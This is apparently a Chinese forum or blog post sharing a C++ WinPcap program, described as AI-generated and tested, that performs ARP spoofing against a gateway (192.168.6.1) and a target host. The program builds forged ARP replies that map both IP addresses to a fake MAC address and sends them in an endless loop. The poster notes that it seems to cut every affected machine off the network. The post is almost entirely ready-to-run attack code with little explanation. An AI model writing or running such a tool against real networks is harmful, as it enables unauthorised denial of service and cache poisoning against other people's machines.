此程序由AI生成，测试过了，可以使用
但是，貌似全部都会断网

#include <pcap.h>
#include <WinSock2.h>
#include <iostream>
#include <vector>
#include <string>
#include <sstream>
#include <iomanip>
#include <iphlpapi.h>
#pragma warning(disable:4996)#pragma comment(lib, "wpcap.lib")
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")using namespace std;// MAC地址转换函数（字符串转字节数组）
vector<uint8_t> parse_mac(const string& mac_str) {vector<uint8_t> mac;stringstream ss(mac_str);string part;while (getline(ss, part, ':')) {int byte = stoi(part, nullptr, 16);mac.push_back(static_cast<uint8_t>(byte));}return mac;
}// IP地址转换函数（字符串转网络序）
uint32_t parse_ip(const string& ip_str) {in_addr addr;if (inet_pton(AF_INET, ip_str.c_str(), &addr) == 1) {return addr.S_un.S_addr;}return 0;
}// 构建ARP响应包
vector<uint8_t> build_arp_packet(const vector<uint8_t>& src_mac,uint32_t src_ip,const vector<uint8_t>& dst_mac,uint32_t dst_ip
) {vector<uint8_t> packet;// 以太网帧头（14字节）// 目标MAC（6字节）packet.insert(packet.end(), dst_mac.begin(), dst_mac.end());// 源MAC（6字节）packet.insert(packet.end(), src_mac.begin(), src_mac.end());// 类型（ARP = 0x0806）packet.push_back(0x08); packet.push_back(0x06);// ARP数据包（28字节）// 硬件类型（以太网 = 1）packet.push_back(0x00); packet.push_back(0x01);// 协议类型（IPv4 = 0x0800）packet.push_back(0x08); packet.push_back(0x00);// 硬件地址长度（6）packet.push_back(0x06);// 协议地址长度（4）packet.push_back(0x04);// 操作码（响应 = 2）packet.push_back(0x00); packet.push_back(0x02);// 发送方MACpacket.insert(packet.end(), src_mac.begin(), src_mac.end());// 发送方IP（网络序）packet.push_back((src_ip >> 0) & 0xFF);packet.push_back((src_ip >> 8) & 0xFF);packet.push_back((src_ip >> 16) & 0xFF);packet.push_back((src_ip >> 24) & 0xFF);// 目标MACpacket.insert(packet.end(), dst_mac.begin(), dst_mac.end());// 目标IP（网络序）packet.push_back((dst_ip >> 0) & 0xFF);packet.push_back((dst_ip >> 8) & 0xFF);packet.push_back((dst_ip >> 16) & 0xFF);packet.push_back((dst_ip >> 24) & 0xFF);return packet;
}
std::string getMacAddress(const std::string& ipAddress) {// 初始化Winsock// 将IP地址转换为ULONG格式ULONG destIp = inet_addr(ipAddress.c_str());if (destIp == INADDR_NONE) {std::cerr << "Invalid IP address." << std::endl;return "";}// 准备接收MAC地址的缓冲区ULONG macAddr[2];ULONG macAddrLen = 6;memset(macAddr, 0xff, sizeof(macAddr));// 调用SendARP函数获取MAC地址DWORD ret = SendARP(destIp, 0, macAddr, &macAddrLen);if (ret == NO_ERROR) {// 将MAC地址转换为字符串格式BYTE* macBytes = (BYTE*)macAddr;char macStr[18];sprintf_s(macStr, sizeof(macStr), "%02X:%02X:%02X:%02X:%02X:%02X",macBytes[0], macBytes[1], macBytes[2],macBytes[3], macBytes[4], macBytes[5]);return std::string(macStr);}else {std::cerr << "Failed to get MAC address. Error code: " << ret << std::endl;return "";}
}
int main() {// 初始化WinSockWSADATA wsa;if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {cerr << "WSAStartup failed: " << WSAGetLastError() << endl;return 1;}// 获取网络设备列表pcap_if_t* alldevs;char errbuf[PCAP_ERRBUF_SIZE];if (pcap_findalldevs(&alldevs, errbuf) == -1) {cerr << "Error finding devices: " << errbuf << endl;return 1;}// 打印设备列表int i = 0;for (pcap_if_t* d = alldevs; d != nullptr; d = d->next) {cout << "[" << i++ << "] " << d->name;if (d->description) cout << " (" << d->description << ")";cout << endl;}// 手动选择设备int dev_num;cout << "Select device index: ";cin >> dev_num;pcap_if_t* dev = alldevs;for (int j = 0; j < dev_num; j++) {if (dev) dev = dev->next;}if (!dev) {cerr << "Invalid device index." << endl;return 1;}// 打开设备pcap_t* handle = pcap_open_live(dev->name, 65536, 1, 1000, errbuf);if (!handle) {cerr << "Could not open device: " << errbuf << endl;return 1;}// 用户输入参数string gateway_ip_str = "192.168.6.1";       // 网关IPstring gateway_mac_str = getMacAddress(gateway_ip_str); // 网关MAC（需替换为真实值）string target_ip_str = "192.168.6.100";       // 目标设备IPstring target_mac_str = getMacAddress(target_ip_str);  // 目标设备MACstring fake_mac_str = "AA:BB:CC:DD:EE:FF";    // 伪造的MAC// 转换参数uint32_t gateway_ip = parse_ip(gateway_ip_str);uint32_t target_ip = parse_ip(target_ip_str);vector<uint8_t> gateway_mac = parse_mac(gateway_mac_str);vector<uint8_t> target_mac = parse_mac(target_mac_str);vector<uint8_t> fake_mac = parse_mac(fake_mac_str);// 构建两种ARP包// 欺骗目标设备：网关的MAC是伪造的vector<uint8_t> arp_to_target = build_arp_packet(fake_mac, gateway_ip, target_mac, target_ip);// 欺骗网关：目标设备的MAC是伪造的vector<uint8_t> arp_to_gateway = build_arp_packet(fake_mac, target_ip, gateway_mac, gateway_ip);// 发送ARP包（循环发送以维持效果）cout << "Sending ARP packets... Press Ctrl+C to stop." << endl;while (true) {if (pcap_sendpacket(handle, arp_to_target.data(), arp_to_target.size()) != 0) {cerr << "Error sending to target: " << pcap_geterr(handle) << endl;}if (pcap_sendpacket(handle, arp_to_gateway.data(), arp_to_gateway.size()) != 0) {cerr << "Error sending to gateway: " << pcap_geterr(handle) << endl;}Sleep(1000); // 每100ms发送一次}// 清理资源pcap_close(handle);pcap_freealldevs(alldevs);WSACleanup();return 0;
}